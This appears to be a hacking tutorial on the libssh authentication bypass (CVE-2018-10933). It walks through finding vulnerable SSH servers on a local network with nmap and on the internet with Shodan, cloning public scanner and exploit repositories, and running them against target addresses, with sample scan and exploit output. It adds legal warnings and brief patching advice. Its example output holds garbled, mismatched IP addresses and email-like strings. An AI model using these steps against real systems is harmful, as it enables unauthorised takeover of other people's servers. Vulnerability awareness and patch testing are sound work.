Computers all over the world rely on a program called "libssh" to use the SSH communications protocol, which allows trusted users to log in and administer computers remotely. Due to a flaw in libssh, fooling a computer into granting SSH access is as easy as telling it you already have permission. The vulnerability can lead to an attacker gaining complete control over a device.
Computers underpin many of the essential systems in our society, and these systems need to be periodically accessed and updated. For network admins and other IT professionals, configuring and updating systems they administer is a common task. To do this, a protocol called SSH, or the secure shell, is often used to remotely access another networked device, allowing a user to make changes to any system they have permission to log into.
Libssh is primarily used to interact remotely with servers, easily granting trusted users a command line interface that has complete control over the device. The power that SSH allows over a device means that security is critical, which is why SSH has historically been so difficult to attack. It makes this exploit even more notable and serious, as it potentially threatens many systems.
For an SSH connection to be created, there must be an SSH server listening on the device you want to access remotely. This server listens for requests to connect and grants access to authorized users. Libssh is a library written in C that powers the server listening for SSH on many devices, used by major companies such as GitHub to interact with its infrastructure.
Despite its popularity, libssh is maintained in the spare time of a small team of developers and is not as widely used as other SSH libraries, such as the more familiar OpenSSH. While this is good news for most users who may be running OpenSSH, there were still thousands of devices running vulnerable versions of libssh connected directly to the internet at the time of the discovery.
Even months after the initial reporting of CVE-2018-10933, there are still plenty of devices that aren't updated yet, even though libssh released patches via libssh version 0.8.4 and libssh version 0.7.6.
In a normal SSH session, the user will attempt to log in with a username and password, and according to whether or not the credentials are valid, the server will accept or reject the connection. In the example below, we attempt to log in to a server running libssh with the wrong password by typing ssh username@ipaddress into a terminal window.
ssh firstname.lastname@example.org The authenticity of host '22.214.171.124 (126.96.36.199)' can't be established. RSA key fingerprint is SHA256:Vkx9gDp1E/df1Yn0bDrgXIIYcTnyCVU6vmgqLKKqrhQ. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '188.8.131.52' (RSA) to the list of known hosts. email@example.com's password: Permission denied, please try again. firstname.lastname@example.org's password: Permission denied, please try again. email@example.com's password: firstname.lastname@example.org: Permission denied (publickey,keyboard-interactive,password).
Because we don't know the password, the attempt to connect is rejected, and we are kept out of the server. On top of this, we are banned from connecting to that server for some time if we try to log in too many times and fail.
In versions of libssh with the bug in question, a user can trick the system into thinking they are already authenticated by sending an unexpected message indicating the connection already succeeded, bypassing the need to supply a password. It allows an attacker to gain complete control over the affected system with no knowledge of the password, and it represents a critical vulnerability in any system with affected versions of libssh.
Imagine if you could gain access to a stranger's house by merely telling them you live there. In this trick, we skip the process of proving we belong with a password and instead send a "success" message.
This bug works when an attacker doesn't try to log in the normal way at all, and instead sends the server a message that seems to confirm that the attacker has already authenticated. This "authentication succeeded" message confuses the server into granting access without a password, totally bypassing the normal security of the system.
The first program we will use to scan for vulnerable devices is called Nmap, which can easily be installed. On Kali, it should than by default, but if it's not, you can quickly download it with the following command.
apt install nmap
In order to detect if a device we discover is vulnerable, we will be using the Python program libssh-scanner. It's is written in Python 2.7, so if you only have Python 3 installed, you will have to make sure to also install Python 2.7.
To install libssh-scanner, you need to clone the libssh-scanner repository by typing the following into a terminal window.
git clone https://github.com/leapsecurity/libssh-scanner.git
cd libssh-scanner ls pip install -r requirements.txt
Next, you must also install the program to thanperform the attack ,. This time, you're cloning the "libSSH-Authentication-Bypass" repository and installing any dependencies using the following commands.
git clone https://github.com/purplesec/libSSH-Authentication-Bypass.git cd libSSH-Authentication-Bypass pip install -r requirements.txt
The first step to fixing or exploiting a vulnerable device is finding it, and it's relatively easy to find devices on your local network that may require attention. To do so, we will use a program called Nmap to locate devices running an SSH server and determine if libssh is running on them. Nmap is an essential tool in any hacker's toolkit, enabling one to quickly scan and discover all hosts and services on a given network or IP range.
In this case, we will scan the devices connected locally to our network, and Nmap will tell us whether or not each device on the network is using a vulnerable version of libssh. To follow this guide, you will need to install Nmap, but if you use Kali Linux, you likely already have Nmap installed.
To scan and discover all devices on the local network using libssh, open a terminal window and enter the following nmap command.
nmap -sV -p22 192.168.0.0/24
Breaking down the command, nmap tells the computer that we want to actually start using Nmap, while -sV tells Nmap that we want to perform a service scan, which grabs the banner of any service used by on an open port. The flag -p22 tells Nmap to only scan devices on port 22, which is the standard port for SSH communication. While this might not find devices that use SSH on a different port, it will dramatically reduce search times.
Finally, the target expressed as a subnet range; The first three bytes of this will be unique to your search. When scanning a range of computers rather than just one, the 0/24 at the end is essential for searching the entire subnet. If you need to find your subnet range, you can use a tool like "ipcalc" which will calculate it for you. To do so, find your IP address from typing ifconfig, then type ipcalc yourIP (replace "yourIP" with your IP address).
The command will return a list of devices connected to the subnet, as well as some information gathered from the scanned port. In this case we are looking for any targets that are using a version of libssh earlier than 0.7.6. You can expect to see an output like below.
Nmap scan report for 172.16.42.1 Host is up (0.0098s latency). PORT STATE SERVICE VERSION 22/tcp closed ssh Nmap scan report for 172.16.42.32 Host is up (0.21s latency). PORT STATE SERVICE VERSION 22/tcp open ssh libssh 0.7.2 (protocol 2.0) Nmap scan report for 172.16.42.53 Host is up (0.079s latency). PORT STATE SERVICE VERSION 22/tcp closed ssh Nmap scan report for 172.16.42.67 Host is up (0.024s latency). PORT STATE SERVICE VERSION 22/tcp filtered ssh
The vast majority of vulnerable servers will be accessible via a remote network, so we will need to search in a different way to find devices not connected directly to our LAN.
To find a remote target, you will need to take advantage of a service called Shodan, a search engine that can find any device connected to the web — unlike Google which only returns results from web servers on port 80. For example, instead of directing you to a website trying to sell you security cameras, Shodan can direct you to the login page of functioning IP cameras, potentially granting you access to the camera given the default password is unchanged.
Shodan will have indexed many vulnerable SSH servers, which we can look for both by port number and other keyword searches that reveal hosts running versions of libssh before 0.7.6 which we know to be affected by the vulnerability.
To start, sign up for a free account, which allows you to view the first two pages of any search query, or about 20 unique devices. Then, to find servers vulnerable to the libssh exploit, you'll need three terms in the search:
- port:22, which is the default port for the SSH protocol. Even though SSH can be moved to any unused port, this isn't too common because all it really does is prevent the server from being found with a simple scan for port 22.
- LibSSH, which returns any server that advertises using the libssh library, indicating that they are potentially exploitable.
- 0.7.*, which limits the results of the search to devices that are using versions of libssh that start with "0.7." and excludes more up-to-date versions from the results. While you may still get some results that are patched, you'll eliminate most of the more updated devices with this filter.
The search above will return a list of IP addresses that may be vulnerable to this attack, along with some more information that Shodan was able to retrieve. Shodan's information can include a banner pull, the location of the device, the latest activity, and the organization in control of the server.
Once you have gathered a list of targets susceptible to the exploit, either local or remote, you can use "libssh-scanner" to scan target IP addresses and determine if they're still likely vulnerable. Other tools can go even further to try establishing a shell, but it is very important to note that accessing another device using SSH without permission could violate the Computer Fraud and Abuse Act. Depending on who owns the device you access, this can land you in serious legal trouble.
In addition to legal considerations, you should be wary of connecting to devices from your real IP address that could be purposely vulnerable to this exploit. Honeypots are often set up this way to attract amateur hackers, and you could find yourself inside a device configured as a trap.
Now, use libssh-scanner to check if the targets gathered in steps 2 and 3 will actually be vulnerable to the exploit. To do this, create a TXT file containing all of the IP addresses found in steps 2 and 3, with each IP address separated by new lines. Name this text file "ips.txt" and place it inside the same folder as libssh-scanner was downloaded to earlier in step 1.
Once inside the directory, enter the following command into a terminal window.
python libsshscan.py --port 22 --aggressive ips.txt
The command will run Python 2.7, scan each IP address in the text file, and determine if the target is actually vulnerable to the CVE-2018-10933 security flaw. As you can see below, performing the scan narrowed down the list of potential targets from Shodan to just one — 184.108.40.206.
python libsshscan.py --aggressive --port 22 ips.txt libssh scanner 1.0.4 Searching for Vulnerable Hosts... * 220.127.116.11:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.2') * 18.104.22.168:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.0') * 22.214.171.124:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.0') * 126.96.36.199:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.0') * 188.8.131.52:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.0') * 184.108.40.206:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.0') * 220.127.116.11:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.0') * 18.104.22.168:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.0') ! 22.214.171.124:22 is likely VULNERABLE to authentication bypass (b'SSH-2.0-libssh-0.7.2') * 126.96.36.199:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.0') Scanner Completed Successfully
To check the one result, use libSSH-Authentication-Bypass to test the attack. Change directory into the folder you downloaded libSSH-Authentication-Bypass to previously in step 1, and enter the following command, substituting "188.8.131.52" with the IP address you wish to scan.
python3 libsshauthbypass.py --host 184.108.40.206
The command returns the following output on a server that has been partially patched but is still vulnerable to the authentication bypass.
python3 bypasswithfakekey.py --host 220.127.116.11 DEBUG:paramiko.transport:starting thread (client mode): 0x74a0d30 DEBUG:paramiko.transport:Local version/idstring: SSH-2.0-paramiko_2.0.8 DEBUG:paramiko.transport:Remote version/idstring: SSH-2.0-libssh-0.7.2 INFO:paramiko.transport:Connected (version 2.0, client libssh-0.7.2) DEBUG:paramiko.transport:kex algos:['diffie-hellman-group14-sha1', 'diffie-hellman-group1-sha1'] server key:['ssh-rsa'] client encrypt:['aes256-ctr', 'aes192-ctr', 'aes128-ctr', 'aes256-cbc', 'aes192-cbc', 'aes128-cbc', 'blowfish-cbc', '3des-cbc'] server encrypt:['aes256-ctr', 'aes192-ctr', 'aes128-ctr', 'aes256-cbc', 'aes192-cbc', 'aes128-cbc', 'blowfish-cbc', '3des-cbc'] client mac:['hmac-sha2-256', 'hmac-sha2-512', 'hmac-sha1'] server mac:['hmac-sha2-256', 'hmac-sha2-512', 'hmac-sha1'] client compress:['none', 'zlib', 'email@example.com'] server compress:['none', 'zlib', 'firstname.lastname@example.org'] client lang:[''] server lang:[''] kex follows?False DEBUG:paramiko.transport:Kex agreed: diffie-hellman-group1-sha1 DEBUG:paramiko.transport:Cipher agreed: aes128-ctr DEBUG:paramiko.transport:MAC agreed: hmac-sha2-256 DEBUG:paramiko.transport:Compression agreed: none /Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/rsakey.py:130: CryptographyDeprecationWarning: signer and verifier have been deprecated. Please use sign and verify instead. algorithm=hashes.SHA1(), DEBUG:paramiko.transport:kex engine KexGroup1 specified hash_algo <built-in function openssl_sha1> DEBUG:paramiko.transport:Switch to new keys ... /Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/client.py:689: UserWarning: Unknown ssh-rsa host key for 18.104.22.168: b'7a7f8ca5b97cdd9356114ac650cc1353' key.get_fingerprint()))) DEBUG:paramiko.transport:userauth is OK INFO:paramiko.transport:Authentication (password) failed. Auth Bypassed of the server you trying to bypass but can't spawn the shell it's patched, truncated or using wrong vulnerable libSSH version. -blacknbunny
If you see a message indicating the connection is successful, then you've confirmed the vulnerability on the device you're testing. If the connection fails, or you see a partially successful result like above, then you've confirmed that the issue does not affect the target (even though it may need to be updated anyway if you get a partial success).
If you are scanning a large network with many devices connected to it, having all the results from a Nmap scan dumped into the terminal window can making manually parsing the data unwieldy and time-consuming.
By taking advantage of some handy Linux tools, you can limit the displayed results to ones that are relevant to the attack you're trying to perform. To do this, enter the following command into a terminal window, with "192.168.0.0/24" substituted with your IP address range.
nmap -sV -p22 192.168.0.0/24 | grep -B 4 "LibSSH" | cat >> results.txt.
The first part of this command is familiar, as it is identical to the command used to perform the Nmap scan in step 2. It's followed by the | symbol, which is referred to as a pipe, which "pipes" (or sends) the results from the Nmap scan into a grep search that finds lines containing text matching "LibSSH."
Because the IP for the results is printed four lines above where the SSH information is declared, you'll need to add -B 4 to ensure all the necessary information is included.
Finally, after grabbing the information needed, the data is piped into a text file using the cat command, which creates a TXT file containing all the matching results.
If you are managing a server that uses libssh to manage SSH communication, it is important to ensure that you are using libssh version 0.7.6 or newer, as this when the libssh developers patched the issue.
To reduce the likelihood of being found on Shodan, you should avoid forwarding ports to the open internet. In general, it's better to use a VPN to access your local network, thus preventing your ports from being exposed to the internet at all.
If you're worried about your devices showing up on Shodan, you can check to see if your IP address has ports being forwarded using Router Security, which lets you see information about your public IP address.
I hope you enjoyed this guide to detecting and attacking devices with the libssh vulnerability! If you have any questions about this tutorial on libssh, feel free to ask them below or reach out to me on Twitter @KodyKinzie.